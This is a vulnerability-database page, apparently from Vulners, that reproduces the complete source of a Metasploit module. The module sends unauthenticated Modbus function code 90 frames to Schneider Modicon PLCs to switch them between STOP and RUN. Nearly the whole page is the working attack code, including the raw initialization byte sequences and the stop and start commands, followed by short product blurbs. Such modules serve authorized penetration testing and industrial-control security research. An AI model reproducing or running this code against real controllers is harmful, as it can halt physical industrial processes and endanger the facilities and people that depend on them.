Lucene search
K

Schneider Modicon Remote START/STOP Command

🗓️ 05 Apr 2012 17:35:48Reported by K. Reid Wightman <[email protected]>, todb <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 45 Views

Schneider Modicon Remote START/STOP Command vulnerability in Modbus function code 90 (0x5a) allows unauthorized administrative commands to change PLC state without authentication, leading to potential process control interruption. Module based on original 'modiconstop.rb' Basecamp module from DigitalBond.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Rex::Socket::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Schneider Modicon Remote START/STOP Command',
      'Description'   => %q{
        The Schneider Modicon with Unity series of PLCs use Modbus function
        code 90 (0x5a) to perform administrative commands without authentication.
        This module allows a remote user to change the state of the PLC between
        STOP and RUN, allowing an attacker to end process control by the PLC.

        This module is based on the original 'modiconstop.rb' Basecamp module from
        DigitalBond.
      },
      'Author'         =>
        [
          'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
          'todb' # Metasploit fixups
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
        ],
      'DisclosureDate' => '2012-04-05'
      ))
    register_options(
      [
        OptEnum.new("MODE", [true, 'PLC command', "STOP",
          [
            "STOP",
            "RUN"
          ]
        ]),
        Opt::RPORT(502)
      ])

  end

  # this is used for building a Modbus frame
  # just prepends the payload with a modbus header
  def makeframe(packetdata)
    if packetdata.size > 255
      print_error("packet too large, sorry")
      print_error("Offending packet: " + packetdata)
      return
    end
    payload = ""
    payload += [@modbuscounter].pack("n")
    payload += "\x00\x00\x00" #dunno what these are
    payload += [packetdata.size].pack("c") # size byte
    payload += packetdata
  end

  # a wrapper just to be sure we increment the counter
  def sendframe(payload)
    sock.put(payload)
    @modbuscounter += 1
    r = sock.recv(65535, 0.1) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use.  What to do?
    return r
  end

  # This function sends some initialization requests
  # I have no idea what these do, but they seem to be
  # needed to get the Modicon chatty with us.
  # I would make some analogy to 'gaming' in the
  # bar-dating scene, but I'll refrain.
  def init
    payload = "\x00\x5a\x00\x02"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x01\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x03\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x03\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x01\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x0a\x00"
    (0..0xf9).each { |x| payload += [x].pack("c") }
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
    payload += "USER-714E74F21B" # Yep, really
    #payload += "META-SPLOITMETA"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x12"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x12"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x02"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
    sendframe(makeframe(payload))
  end

  def stop
    payload = "\x00\x5a\x01\x41\xff\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
  end

  def start
    payload = "\x00\x5a\x01\x40\xff\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
  end

  def run
    @modbuscounter = 0x0000 # used for modbus frames
    connect
    init
    case datastore['MODE']
    when "STOP"
      stop
    when "RUN"
      start
    else
      print_error("Invalid MODE")
      return
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation